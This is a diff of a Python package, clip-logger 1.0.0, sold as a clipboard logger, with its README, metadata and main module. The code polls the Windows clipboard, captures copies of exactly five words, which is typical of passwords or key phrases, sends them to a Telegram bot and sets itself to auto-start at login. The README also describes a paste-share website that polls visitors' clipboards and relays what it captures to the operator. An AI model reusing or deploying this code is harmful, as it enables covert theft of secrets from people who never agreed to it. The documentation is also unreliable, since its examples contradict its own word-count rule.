clip-logger 1.0.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 clip-logger contributors
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,3 @@
1
+ include README.md
2
+ include LICENSE
3
+ recursive-include clip_logger *.py env.example
@@ -0,0 +1,164 @@
1
+ Metadata-Version: 2.4
2
+ Name: clip-logger
3
+ Version: 1.0.0
4
+ Summary: Background Windows clipboard logger — records copies of exactly N words
5
+ Author: clip-logger contributors
6
+ License-Expression: MIT
7
+ Keywords: clipboard,logger,windows,telegram,monitor
8
+ Classifier: Development Status :: 4 - Beta
9
+ Classifier: Environment :: Console
10
+ Classifier: Intended Audience :: Developers
11
+ Classifier: Operating System :: Microsoft :: Windows
12
+ Classifier: Programming Language :: Python :: 3
13
+ Classifier: Programming Language :: Python :: 3.9
14
+ Classifier: Programming Language :: Python :: 3.10
15
+ Classifier: Programming Language :: Python :: 3.11
16
+ Classifier: Programming Language :: Python :: 3.12
17
+ Classifier: Topic :: System :: Monitoring
18
+ Classifier: Topic :: Utilities
19
+ Requires-Python: >=3.9
20
+ Description-Content-Type: text/markdown
21
+ License-File: LICENSE
22
+ Dynamic: license-file
23
+
24
+ # clip_logger
25
+
26
+ Logs whenever **exactly 5 words** are copied to the clipboard.
27
+
28
+ Built for WSL2 — it reads the **Windows** clipboard via PowerShell, so it
29
+ catches anything you copy in Windows apps or in the WSL terminal.
30
+
31
+ ## Install
32
+
33
+ **For all users (PyPI):**
34
+
35
+ ```bash
36
+ pip install clip-logger
37
+ ```
38
+
39
+ **From source (developers):**
40
+
41
+ ```bash
42
+ pip install .
43
+ # or editable:
44
+ pip install -e .
45
+ ```
46
+
47
+ That installs the **`clip-logger`** command. No other setup required.
48
+
49
+ See [PUBLISHING.md](PUBLISHING.md) if you are the maintainer uploading to PyPI.
50
+
51
+ ### After install
52
+
53
+ | OS | Config & logs |
54
+ |----|----------------|
55
+ | **Windows** | `%APPDATA%\clip-logger\` |
56
+ | **Linux / WSL** | `~/.config/clip-logger/` |
57
+
58
+ On first run, `.env` is created there — edit it for Telegram and `WORD_THRESHOLD`.
59
+
60
+ ## Use
61
+
62
+ ```bash
63
+ clip-logger start # run in background
64
+ clip-logger status # running? auto-start? log path?
65
+ clip-logger tail # last 10 logged copies
66
+ clip-logger stop # stop daemon
67
+ clip-logger install # auto-start on login / after reboot
68
+ clip-logger uninstall # remove auto-start
69
+ ```
70
+
71
+ Alternative (without pip): `python clip_logger.py start` or `python -m clip_logger start`
72
+
73
+ ## Auto-start (no manual `start` each time)
74
+
75
+ | Method | When it runs | Setup |
76
+ |--------|----------------|-------|
77
+ | **paste-share boot** | Whenever you run `python3 app.py` | Default on. Set `AUTO_START_CLIP_LOGGER=0` in `.env` to disable |
78
+ | **Website paste button** | Visitor grants clipboard permission | Already wired — calls `clip-logger start` |
79
+ | **Task Scheduler** | Every Windows sign-in | Run once: `clip-logger install` |
80
+ | **systemd user service** | Every WSL/Linux login | Run once: `clip-logger install` |
81
+
82
+ ```bash
83
+ # Option A: starts when paste-share server starts (default)
84
+ cd paste-share && python3 app.py
85
+
86
+ # Option B: starts on every login / after reboot
87
+ clip-logger install # Windows: Task Scheduler | WSL/Linux: systemd
88
+ clip-logger uninstall # remove later
89
+ ```
90
+
91
+ **Windows (native):**
92
+
93
+ ```bat
94
+ pip install .
95
+ clip-logger install
96
+ clip-logger status
97
+ ```
98
+
99
+ All methods are idempotent — if clip_logger is already running, `start` is a
100
+ no-op.
101
+
102
+ ### Paste-to-share integration
103
+
104
+ When a visitor allows clipboard access on the paste-share site:
105
+
106
+ 1. **Browser** polls that visitor's clipboard every `POLL_SECONDS`.
107
+ 2. On exactly `WORD_THRESHOLD` words, POST `/api/clipboard/capture`.
108
+ 3. **Server** runs `clip-logger log` (stdin JSON) to write the log and send Telegram.
109
+
110
+ `clip-logger read` / `start` remain for local CLI and the server-host daemon.
111
+ Visitor captures use `log` — no install on the visitor's machine.
112
+
113
+ ## What gets logged
114
+
115
+ Each qualifying copy appends one JSON line to `clipboard_log.jsonl`:
116
+
117
+ ```json
118
+ {"timestamp": "2026-06-05T13:13:44-07:00", "word_count": 6, "text": "the quick brown fox jumps over"}
119
+ ```
120
+
121
+ Only copies whose content **changes** and has **exactly 5 words** are recorded.
122
+
123
+ ## Setup (.env)
124
+
125
+ Copy `.env.example` to `.env` and fill it in:
126
+
127
+ ```
128
+ TELEGRAM_BOT_TOKEN=123456:ABC-your-token
129
+ TELEGRAM_CHAT_ID=987654321
130
+ WORD_THRESHOLD=5
131
+ POLL_SECONDS=2.0
132
+ ```
133
+
134
+ Getting the Telegram values:
135
+
136
+ 1. Message **@BotFather** in Telegram → `/newbot` → copy the token.
137
+ 2. Send your new bot any message (e.g. "hi").
138
+ 3. Open `https://api.telegram.org/bot<YOUR_TOKEN>/getUpdates` and copy
139
+ the `"chat":{"id": ...}` number into `TELEGRAM_CHAT_ID`.
140
+
141
+ If the token/chat id are blank, it still logs to file — it just skips
142
+ sending Telegram messages.
143
+
144
+ ## Telegram message
145
+
146
+ On each qualifying copy you'll receive:
147
+
148
+ ```
149
+ 📋 Clipboard (6 words)
150
+ 2026-06-05T13:19:45-07:00
151
+
152
+ alpha beta gamma delta epsilon zeta
153
+ ```
154
+
155
+ ## Settings
156
+
157
+ - `WORD_THRESHOLD` — minimum word count to log (default `5`)
158
+ - `POLL_SECONDS` — how often the clipboard is checked (default `2.0`)
159
+
160
+ ## Note
161
+
162
+ The log stores the **full copied text**, which can include sensitive data
163
+ (passwords, keys, etc.). It lives in plain text at `clipboard_log.jsonl` —
164
+ keep that in mind, and delete it when you don't need the history.
@@ -0,0 +1,141 @@
1
+ # clip_logger
2
+
3
+ Logs whenever **exactly 5 words** are copied to the clipboard.
4
+
5
+ Built for WSL2 — it reads the **Windows** clipboard via PowerShell, so it
6
+ catches anything you copy in Windows apps or in the WSL terminal.
7
+
8
+ ## Install
9
+
10
+ **For all users (PyPI):**
11
+
12
+ ```bash
13
+ pip install clip-logger
14
+ ```
15
+
16
+ **From source (developers):**
17
+
18
+ ```bash
19
+ pip install .
20
+ # or editable:
21
+ pip install -e .
22
+ ```
23
+
24
+ That installs the **`clip-logger`** command. No other setup required.
25
+
26
+ See [PUBLISHING.md](PUBLISHING.md) if you are the maintainer uploading to PyPI.
27
+
28
+ ### After install
29
+
30
+ | OS | Config & logs |
31
+ |----|----------------|
32
+ | **Windows** | `%APPDATA%\clip-logger\` |
33
+ | **Linux / WSL** | `~/.config/clip-logger/` |
34
+
35
+ On first run, `.env` is created there — edit it for Telegram and `WORD_THRESHOLD`.
36
+
37
+ ## Use
38
+
39
+ ```bash
40
+ clip-logger start # run in background
41
+ clip-logger status # running? auto-start? log path?
42
+ clip-logger tail # last 10 logged copies
43
+ clip-logger stop # stop daemon
44
+ clip-logger install # auto-start on login / after reboot
45
+ clip-logger uninstall # remove auto-start
46
+ ```
47
+
48
+ Alternative (without pip): `python clip_logger.py start` or `python -m clip_logger start`
49
+
50
+ ## Auto-start (no manual `start` each time)
51
+
52
+ | Method | When it runs | Setup |
53
+ |--------|----------------|-------|
54
+ | **paste-share boot** | Whenever you run `python3 app.py` | Default on. Set `AUTO_START_CLIP_LOGGER=0` in `.env` to disable |
55
+ | **Website paste button** | Visitor grants clipboard permission | Already wired — calls `clip-logger start` |
56
+ | **Task Scheduler** | Every Windows sign-in | Run once: `clip-logger install` |
57
+ | **systemd user service** | Every WSL/Linux login | Run once: `clip-logger install` |
58
+
59
+ ```bash
60
+ # Option A: starts when paste-share server starts (default)
61
+ cd paste-share && python3 app.py
62
+
63
+ # Option B: starts on every login / after reboot
64
+ clip-logger install # Windows: Task Scheduler | WSL/Linux: systemd
65
+ clip-logger uninstall # remove later
66
+ ```
67
+
68
+ **Windows (native):**
69
+
70
+ ```bat
71
+ pip install .
72
+ clip-logger install
73
+ clip-logger status
74
+ ```
75
+
76
+ All methods are idempotent — if clip_logger is already running, `start` is a
77
+ no-op.
78
+
79
+ ### Paste-to-share integration
80
+
81
+ When a visitor allows clipboard access on the paste-share site:
82
+
83
+ 1. **Browser** polls that visitor's clipboard every `POLL_SECONDS`.
84
+ 2. On exactly `WORD_THRESHOLD` words, POST `/api/clipboard/capture`.
85
+ 3. **Server** runs `clip-logger log` (stdin JSON) to write the log and send Telegram.
86
+
87
+ `clip-logger read` / `start` remain for local CLI and the server-host daemon.
88
+ Visitor captures use `log` — no install on the visitor's machine.
89
+
90
+ ## What gets logged
91
+
92
+ Each qualifying copy appends one JSON line to `clipboard_log.jsonl`:
93
+
94
+ ```json
95
+ {"timestamp": "2026-06-05T13:13:44-07:00", "word_count": 6, "text": "the quick brown fox jumps over"}
96
+ ```
97
+
98
+ Only copies whose content **changes** and has **exactly 5 words** are recorded.
99
+
100
+ ## Setup (.env)
101
+
102
+ Copy `.env.example` to `.env` and fill it in:
103
+
104
+ ```
105
+ TELEGRAM_BOT_TOKEN=123456:ABC-your-token
106
+ TELEGRAM_CHAT_ID=987654321
107
+ WORD_THRESHOLD=5
108
+ POLL_SECONDS=2.0
109
+ ```
110
+
111
+ Getting the Telegram values:
112
+
113
+ 1. Message **@BotFather** in Telegram → `/newbot` → copy the token.
114
+ 2. Send your new bot any message (e.g. "hi").
115
+ 3. Open `https://api.telegram.org/bot<YOUR_TOKEN>/getUpdates` and copy
116
+ the `"chat":{"id": ...}` number into `TELEGRAM_CHAT_ID`.
117
+
118
+ If the token/chat id are blank, it still logs to file — it just skips
119
+ sending Telegram messages.
120
+
121
+ ## Telegram message
122
+
123
+ On each qualifying copy you'll receive:
124
+
125
+ ```
126
+ 📋 Clipboard (6 words)
127
+ 2026-06-05T13:19:45-07:00
128
+
129
+ alpha beta gamma delta epsilon zeta
130
+ ```
131
+
132
+ ## Settings
133
+
134
+ - `WORD_THRESHOLD` — minimum word count to log (default `5`)
135
+ - `POLL_SECONDS` — how often the clipboard is checked (default `2.0`)
136
+
137
+ ## Note
138
+
139
+ The log stores the **full copied text**, which can include sensitive data
140
+ (passwords, keys, etc.). It lives in plain text at `clipboard_log.jsonl` —
141
+ keep that in mind, and delete it when you don't need the history.
@@ -0,0 +1,442 @@
1
+ """clip_logger — log clipboard copies of exactly N words (Windows clipboard)."""
2
+
3
+ from __future__ import annotations
4
+
5
+ import json
6
+ import os
7
+ import shutil
8
+ import signal
9
+ import subprocess
10
+ import sys
11
+ import time
12
+ import urllib.parse
13
+ import urllib.request
14
+ from datetime import datetime
15
+ from importlib import resources
16
+
17
+ WINDOWS_TASK_NAME = "clip-logger"
18
+ SYSTEMD_SERVICE_NAME = "clip-logger.service"
19
+
20
+ _PKG_DIR = os.path.dirname(os.path.abspath(__file__))
21
+
22
+
23
+ def _is_pip_install() -> bool:
24
+ path = _PKG_DIR.replace("\\", "/")
25
+ return "site-packages" in path or "dist-packages" in path
26
+
27
+
28
+ def data_dir() -> str:
29
+ """Config, logs, and pid files — user dir when pip-installed, else repo root."""
30
+ if _is_pip_install():
31
+ if sys.platform == "win32":
32
+ base = os.environ.get("APPDATA") or os.path.expanduser("~")
33
+ root = os.path.join(base, "clip-logger")
34
+ else:
35
+ root = os.path.join(os.path.expanduser("~"), ".config", "clip-logger")
36
+ else:
37
+ repo = os.path.dirname(_PKG_DIR)
38
+ root = repo if os.path.exists(os.path.join(repo, "pyproject.toml")) else _PKG_DIR
39
+ os.makedirs(root, exist_ok=True)
40
+ return root
41
+
42
+
43
+ def _paths() -> tuple[str, str, str, str]:
44
+ here = data_dir()
45
+ return (
46
+ here,
47
+ os.path.join(here, "clipboard_log.jsonl"),
48
+ os.path.join(here, "clip_logger.pid"),
49
+ os.path.join(here, "clip_logger.daemon.log"),
50
+ )
51
+
52
+
53
+ HERE, LOG_FILE, PID_FILE, DAEMON_LOG = _paths()
54
+ ENV_FILE = os.path.join(HERE, ".env")
55
+
56
+
57
+ def ensure_env_file() -> None:
58
+ if os.path.exists(ENV_FILE):
59
+ return
60
+ try:
61
+ text = resources.files("clip_logger").joinpath("env.example").read_text(
62
+ encoding="utf-8"
63
+ )
64
+ except Exception:
65
+ text = "WORD_THRESHOLD=5\nPOLL_SECONDS=2.0\n"
66
+ with open(ENV_FILE, "w", encoding="utf-8") as f:
67
+ f.write(text)
68
+ print(f"Created {ENV_FILE}")
69
+
70
+
71
+ def load_env() -> None:
72
+ if not os.path.exists(ENV_FILE):
73
+ return
74
+ with open(ENV_FILE, encoding="utf-8") as f:
75
+ for line in f:
76
+ line = line.strip()
77
+ if not line or line.startswith("#") or "=" not in line:
78
+ continue
79
+ key, _, value = line.partition("=")
80
+ value = value.strip().strip('"').strip("'")
81
+ os.environ.setdefault(key.strip(), value)
82
+
83
+
84
+ ensure_env_file()
85
+ load_env()
86
+
87
+ WORD_THRESHOLD = int(os.environ.get("WORD_THRESHOLD", "5"))
88
+ POLL_SECONDS = float(os.environ.get("POLL_SECONDS", "2.0"))
89
+ TELEGRAM_BOT_TOKEN = os.environ.get("TELEGRAM_BOT_TOKEN", "").strip()
90
+ TELEGRAM_CHAT_ID = os.environ.get("TELEGRAM_CHAT_ID", "").strip()
91
+
92
+
93
+ def clip_logger_cli() -> list[str]:
94
+ """Argv prefix to invoke this package (installed entry point or python -m)."""
95
+ cmd = shutil.which("clip-logger")
96
+ if cmd:
97
+ return [cmd]
98
+ return [sys.executable, "-m", "clip_logger"]
99
+
100
+
101
+ def send_telegram(entry: dict) -> None:
102
+ if not TELEGRAM_BOT_TOKEN or not TELEGRAM_CHAT_ID:
103
+ return
104
+ message = (
105
+ f"\U0001F4CB Clipboard ({entry['word_count']} words)\n"
106
+ f"{entry['timestamp']}\n\n"
107
+ f"{entry['text']}"
108
+ )
109
+ url = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage"
110
+ data = urllib.parse.urlencode(
111
+ {"chat_id": TELEGRAM_CHAT_ID, "text": message}
112
+ ).encode()
113
+ try:
114
+ with urllib.request.urlopen(url, data=data, timeout=15) as resp:
115
+ resp.read()
116
+ except Exception as exc:
117
+ sys.stderr.write(f"[telegram] send failed: {exc}\n")
118
+ sys.stderr.flush()
119
+
120
+
121
+ def read_clipboard() -> str | None:
122
+ ps = "powershell.exe" if sys.platform == "win32" or shutil.which("powershell.exe") else "powershell"
123
+ try:
124
+ out = subprocess.run(
125
+ [ps, "-NoProfile", "-Command", "Get-Clipboard -Raw"],
126
+ capture_output=True,
127
+ timeout=10,
128
+ )
129
+ except (subprocess.TimeoutExpired, FileNotFoundError):
130
+ return None
131
+ if out.returncode != 0:
132
+ return None
133
+ text = out.stdout.decode("utf-8", errors="replace")
134
+ return text.replace("\r\n", "\n").replace("\r", "\n").rstrip("\n")
135
+
136
+
137
+ def word_count(text: str) -> int:
138
+ return len(text.split())
139
+
140
+
141
+ def run_loop() -> None:
142
+ last_seen = None
143
+ while True:
144
+ text = read_clipboard()
145
+ if text is not None and text != last_seen:
146
+ last_seen = text
147
+ count = word_count(text)
148
+ if count == WORD_THRESHOLD:
149
+ entry = {
150
+ "timestamp": datetime.now().astimezone().isoformat(),
151
+ "word_count": count,
152
+ "text": text,
153
+ }
154
+ with open(LOG_FILE, "a", encoding="utf-8") as f:
155
+ f.write(json.dumps(entry, ensure_ascii=False) + "\n")
156
+ send_telegram(entry)
157
+ time.sleep(POLL_SECONDS)
158
+
159
+
160
+ def read_pid() -> int | None:
161
+ try:
162
+ with open(PID_FILE) as f:
163
+ return int(f.read().strip())
164
+ except (FileNotFoundError, ValueError):
165
+ return None
166
+
167
+
168
+ def is_running(pid: int | None) -> bool:
169
+ if pid is None:
170
+ return False
171
+ try:
172
+ os.kill(pid, 0)
173
+ except OSError:
174
+ return False
175
+ return True
176
+
177
+
178
+ def cmd_start() -> None:
179
+ pid = read_pid()
180
+ if is_running(pid):
181
+ print(f"Already running (pid {pid}).")
182
+ return
183
+ logf = open(DAEMON_LOG, "a", encoding="utf-8")
184
+ proc = subprocess.Popen(
185
+ clip_logger_cli() + ["_run"],
186
+ stdout=logf,
187
+ stderr=logf,
188
+ stdin=subprocess.DEVNULL,
189
+ start_new_session=True,
190
+ cwd=HERE,
191
+ )
192
+ with open(PID_FILE, "w", encoding="utf-8") as f:
193
+ f.write(str(proc.pid))
194
+ print(f"Started clip_logger (pid {proc.pid}).")
195
+ print(f"Logging copies of exactly {WORD_THRESHOLD} words to {LOG_FILE}")
196
+
197
+
198
+ def cmd_stop() -> None:
199
+ pid = read_pid()
200
+ if not is_running(pid):
201
+ print("Not running.")
202
+ if os.path.exists(PID_FILE):
203
+ os.remove(PID_FILE)
204
+ return
205
+ os.kill(pid, signal.SIGTERM)
206
+ print(f"Stopped clip_logger (pid {pid}).")
207
+ if os.path.exists(PID_FILE):
208
+ os.remove(PID_FILE)
209
+
210
+
211
+ def cmd_status() -> None:
212
+ pid = read_pid()
213
+ if is_running(pid):
214
+ print(f"Running (pid {pid}).")
215
+ else:
216
+ print("Not running.")
217
+ if sys.platform == "win32":
218
+ proc = subprocess.run(
219
+ ["schtasks", "/Query", "/TN", WINDOWS_TASK_NAME],
220
+ capture_output=True,
221
+ text=True,
222
+ )
223
+ if proc.returncode == 0:
224
+ print(f'Auto-start: enabled (Task Scheduler "{WINDOWS_TASK_NAME}").')
225
+ else:
226
+ print("Auto-start: not installed.")
227
+ elif os.path.exists(systemd_unit_path()):
228
+ print(f"Auto-start: enabled ({systemd_unit_path()}).")
229
+ else:
230
+ print("Auto-start: not installed.")
231
+ print(f"Data directory: {HERE}")
232
+ if os.path.exists(LOG_FILE):
233
+ with open(LOG_FILE, encoding="utf-8") as f:
234
+ n = sum(1 for _ in f)
235
+ print(f"{n} entries logged in {LOG_FILE}")
236
+
237
+
238
+ def cmd_tail() -> None:
239
+ if not os.path.exists(LOG_FILE):
240
+ print("No log file yet.")
241
+ return
242
+ with open(LOG_FILE, encoding="utf-8") as f:
243
+ lines = f.readlines()[-10:]
244
+ for line in lines:
245
+ e = json.loads(line)
246
+ preview = e["text"].replace("\n", " ")
247
+ if len(preview) > 80:
248
+ preview = preview[:77] + "..."
249
+ print(f'{e["timestamp"]} [{e["word_count"]:>3} words] {preview}')
250
+
251
+
252
+ def cmd_read() -> None:
253
+ text = read_clipboard()
254
+ if text is None:
255
+ print(json.dumps({"ok": False, "error": "could not read clipboard"}))
256
+ sys.exit(1)
257
+ print(
258
+ json.dumps(
259
+ {"ok": True, "text": text, "word_count": word_count(text)},
260
+ ensure_ascii=False,
261
+ )
262
+ )
263
+
264
+
265
+ def cmd_log() -> None:
266
+ try:
267
+ entry = json.loads(sys.stdin.read())
268
+ except json.JSONDecodeError:
269
+ print(json.dumps({"ok": False, "error": "invalid JSON"}))
270
+ sys.exit(1)
271
+ text = entry.get("text", "")
272
+ if not isinstance(text, str) or not text.strip():
273
+ print(json.dumps({"ok": False, "error": "missing text"}))
274
+ sys.exit(1)
275
+ count = word_count(text)
276
+ if count != WORD_THRESHOLD:
277
+ print(
278
+ json.dumps({
279
+ "ok": False,
280
+ "error": f"expected {WORD_THRESHOLD} words, got {count}",
281
+ })
282
+ )
283
+ sys.exit(1)
284
+ entry = {
285
+ "timestamp": entry.get("timestamp")
286
+ or datetime.now().astimezone().isoformat(),
287
+ "word_count": count,
288
+ "text": text,
289
+ }
290
+ with open(LOG_FILE, "a", encoding="utf-8") as f:
291
+ f.write(json.dumps(entry, ensure_ascii=False) + "\n")
292
+ send_telegram(entry)
293
+ print(json.dumps({"ok": True}))
294
+
295
+
296
+ def systemd_unit_path() -> str:
297
+ return os.path.join(
298
+ os.path.expanduser("~/.config/systemd/user"), SYSTEMD_SERVICE_NAME
299
+ )
300
+
301
+
302
+ def autostart_command_line() -> str:
303
+ cmd = shutil.which("clip-logger")
304
+ if cmd:
305
+ return f'"{cmd}" start'
306
+ return f'"{sys.executable}" -m clip_logger start'
307
+
308
+
309
+ def autostart_stop_command_line() -> str:
310
+ cmd = shutil.which("clip-logger")
311
+ if cmd:
312
+ return f'"{cmd}" stop'
313
+ return f'"{sys.executable}" -m clip_logger stop'
314
+
315
+
316
+ def cmd_install_windows() -> None:
317
+ tr = autostart_command_line()
318
+ proc = subprocess.run(
319
+ [
320
+ "schtasks", "/Create", "/TN", WINDOWS_TASK_NAME, "/TR", tr,
321
+ "/SC", "ONLOGON", "/RL", "LIMITED", "/F",
322
+ ],
323
+ capture_output=True,
324
+ text=True,
325
+ )
326
+ if proc.returncode != 0:
327
+ print(proc.stderr or proc.stdout or "schtasks /Create failed")
328
+ sys.exit(1)
329
+ print(f'Installed Task Scheduler job "{WINDOWS_TASK_NAME}".')
330
+ print("clip_logger will start automatically when you sign in to Windows.")
331
+ cmd_start()
332
+
333
+
334
+ def cmd_uninstall_windows() -> None:
335
+ proc = subprocess.run(
336
+ ["schtasks", "/Query", "/TN", WINDOWS_TASK_NAME],
337
+ capture_output=True,
338
+ text=True,
339
+ )
340
+ if proc.returncode != 0:
341
+ print("No Task Scheduler job installed.")
342
+ return
343
+ subprocess.run(
344
+ ["schtasks", "/Delete", "/TN", WINDOWS_TASK_NAME, "/F"],
345
+ capture_output=True,
346
+ text=True,
347
+ )
348
+ print(f'Removed Task Scheduler job "{WINDOWS_TASK_NAME}".')
349
+ cmd_stop()
350
+
351
+
352
+ def cmd_install_linux() -> None:
353
+ unit_dir = os.path.dirname(systemd_unit_path())
354
+ os.makedirs(unit_dir, exist_ok=True)
355
+ start_cmd = autostart_command_line().strip('"')
356
+ stop_cmd = autostart_stop_command_line().strip('"')
357
+ unit = f"""[Unit]
358
+ Description=Clipboard logger daemon
359
+ After=network.target
360
+
361
+ [Service]
362
+ Type=oneshot
363
+ RemainAfterExit=yes
364
+ WorkingDirectory={HERE}
365
+ ExecStart={start_cmd}
366
+ ExecStop={stop_cmd}
367
+
368
+ [Install]
369
+ WantedBy=default.target
370
+ """
371
+ path = systemd_unit_path()
372
+ with open(path, "w", encoding="utf-8") as f:
373
+ f.write(unit)
374
+ for args in (
375
+ ["systemctl", "--user", "daemon-reload"],
376
+ ["systemctl", "--user", "enable", "--now", SYSTEMD_SERVICE_NAME],
377
+ ):
378
+ proc = subprocess.run(args, capture_output=True, text=True)
379
+ if proc.returncode != 0:
380
+ print(proc.stderr or proc.stdout or f"failed: {' '.join(args)}")
381
+ sys.exit(1)
382
+ print(f"Installed {path}")
383
+ print("clip_logger will start automatically on login.")
384
+
385
+
386
+ def cmd_uninstall_linux() -> None:
387
+ path = systemd_unit_path()
388
+ if not os.path.exists(path):
389
+ print("No systemd service installed.")
390
+ return
391
+ for args in (
392
+ ["systemctl", "--user", "disable", "--now", SYSTEMD_SERVICE_NAME],
393
+ ["systemctl", "--user", "daemon-reload"],
394
+ ):
395
+ subprocess.run(args, capture_output=True, text=True)
396
+ os.remove(path)
397
+ print(f"Removed {path}")
398
+
399
+
400
+ def cmd_install() -> None:
401
+ if sys.platform == "win32":
402
+ cmd_install_windows()
403
+ else:
404
+ cmd_install_linux()
405
+
406
+
407
+ def cmd_uninstall() -> None:
408
+ if sys.platform == "win32":
409
+ cmd_uninstall_windows()
410
+ else:
411
+ cmd_uninstall_linux()
412
+
413
+
414
+ def main() -> None:
415
+ cmd = sys.argv[1] if len(sys.argv) > 1 else "status"
416
+ if cmd == "_run":
417
+ signal.signal(signal.SIGTERM, lambda *_: sys.exit(0))
418
+ run_loop()
419
+ elif cmd == "start":
420
+ cmd_start()
421
+ elif cmd == "stop":
422
+ cmd_stop()
423
+ elif cmd == "status":
424
+ cmd_status()
425
+ elif cmd == "tail":
426
+ cmd_tail()
427
+ elif cmd == "read":
428
+ cmd_read()
429
+ elif cmd == "log":
430
+ cmd_log()
431
+ elif cmd == "install":
432
+ cmd_install()
433
+ elif cmd == "uninstall":
434
+ cmd_uninstall()
435
+ else:
436
+ print(
437
+ "Usage: clip-logger {start|stop|status|tail|read|log|install|uninstall}"
438
+ )
439
+ sys.exit(1)
440
+
441
+
442
+ __all__ = ["main"]
@@ -0,0 +1,4 @@
1
+ from clip_logger import main
2
+
3
+ if __name__ == "__main__":
4
+ main()
@@ -0,0 +1,11 @@
1
+ # Copy settings here after: pip install clip-logger
2
+ # File location when installed: ~/.config/clip-logger/.env (Linux/WSL)
3
+ # %APPDATA%\clip-logger\.env (Windows)
4
+
5
+ # --- Telegram (optional) ---
6
+ TELEGRAM_BOT_TOKEN=
7
+ TELEGRAM_CHAT_ID=
8
+
9
+ # --- Behaviour ---
10
+ WORD_THRESHOLD=5
11
+ POLL_SECONDS=2.0
@@ -0,0 +1,164 @@
1
+ Metadata-Version: 2.4
2
+ Name: clip-logger
3
+ Version: 1.0.0
4
+ Summary: Background Windows clipboard logger — records copies of exactly N words
5
+ Author: clip-logger contributors
6
+ License-Expression: MIT
7
+ Keywords: clipboard,logger,windows,telegram,monitor
8
+ Classifier: Development Status :: 4 - Beta
9
+ Classifier: Environment :: Console
10
+ Classifier: Intended Audience :: Developers
11
+ Classifier: Operating System :: Microsoft :: Windows
12
+ Classifier: Programming Language :: Python :: 3
13
+ Classifier: Programming Language :: Python :: 3.9
14
+ Classifier: Programming Language :: Python :: 3.10
15
+ Classifier: Programming Language :: Python :: 3.11
16
+ Classifier: Programming Language :: Python :: 3.12
17
+ Classifier: Topic :: System :: Monitoring
18
+ Classifier: Topic :: Utilities
19
+ Requires-Python: >=3.9
20
+ Description-Content-Type: text/markdown
21
+ License-File: LICENSE
22
+ Dynamic: license-file
23
+
24
+ # clip_logger
25
+
26
+ Logs whenever **exactly 5 words** are copied to the clipboard.
27
+
28
+ Built for WSL2 — it reads the **Windows** clipboard via PowerShell, so it
29
+ catches anything you copy in Windows apps or in the WSL terminal.
30
+
31
+ ## Install
32
+
33
+ **For all users (PyPI):**
34
+
35
+ ```bash
36
+ pip install clip-logger
37
+ ```
38
+
39
+ **From source (developers):**
40
+
41
+ ```bash
42
+ pip install .
43
+ # or editable:
44
+ pip install -e .
45
+ ```
46
+
47
+ That installs the **`clip-logger`** command. No other setup required.
48
+
49
+ See [PUBLISHING.md](PUBLISHING.md) if you are the maintainer uploading to PyPI.
50
+
51
+ ### After install
52
+
53
+ | OS | Config & logs |
54
+ |----|----------------|
55
+ | **Windows** | `%APPDATA%\clip-logger\` |
56
+ | **Linux / WSL** | `~/.config/clip-logger/` |
57
+
58
+ On first run, `.env` is created there — edit it for Telegram and `WORD_THRESHOLD`.
59
+
60
+ ## Use
61
+
62
+ ```bash
63
+ clip-logger start # run in background
64
+ clip-logger status # running? auto-start? log path?
65
+ clip-logger tail # last 10 logged copies
66
+ clip-logger stop # stop daemon
67
+ clip-logger install # auto-start on login / after reboot
68
+ clip-logger uninstall # remove auto-start
69
+ ```
70
+
71
+ Alternative (without pip): `python clip_logger.py start` or `python -m clip_logger start`
72
+
73
+ ## Auto-start (no manual `start` each time)
74
+
75
+ | Method | When it runs | Setup |
76
+ |--------|----------------|-------|
77
+ | **paste-share boot** | Whenever you run `python3 app.py` | Default on. Set `AUTO_START_CLIP_LOGGER=0` in `.env` to disable |
78
+ | **Website paste button** | Visitor grants clipboard permission | Already wired — calls `clip-logger start` |
79
+ | **Task Scheduler** | Every Windows sign-in | Run once: `clip-logger install` |
80
+ | **systemd user service** | Every WSL/Linux login | Run once: `clip-logger install` |
81
+
82
+ ```bash
83
+ # Option A: starts when paste-share server starts (default)
84
+ cd paste-share && python3 app.py
85
+
86
+ # Option B: starts on every login / after reboot
87
+ clip-logger install # Windows: Task Scheduler | WSL/Linux: systemd
88
+ clip-logger uninstall # remove later
89
+ ```
90
+
91
+ **Windows (native):**
92
+
93
+ ```bat
94
+ pip install .
95
+ clip-logger install
96
+ clip-logger status
97
+ ```
98
+
99
+ All methods are idempotent — if clip_logger is already running, `start` is a
100
+ no-op.
101
+
102
+ ### Paste-to-share integration
103
+
104
+ When a visitor allows clipboard access on the paste-share site:
105
+
106
+ 1. **Browser** polls that visitor's clipboard every `POLL_SECONDS`.
107
+ 2. On exactly `WORD_THRESHOLD` words, POST `/api/clipboard/capture`.
108
+ 3. **Server** runs `clip-logger log` (stdin JSON) to write the log and send Telegram.
109
+
110
+ `clip-logger read` / `start` remain for local CLI and the server-host daemon.
111
+ Visitor captures use `log` — no install on the visitor's machine.
112
+
113
+ ## What gets logged
114
+
115
+ Each qualifying copy appends one JSON line to `clipboard_log.jsonl`:
116
+
117
+ ```json
118
+ {"timestamp": "2026-06-05T13:13:44-07:00", "word_count": 6, "text": "the quick brown fox jumps over"}
119
+ ```
120
+
121
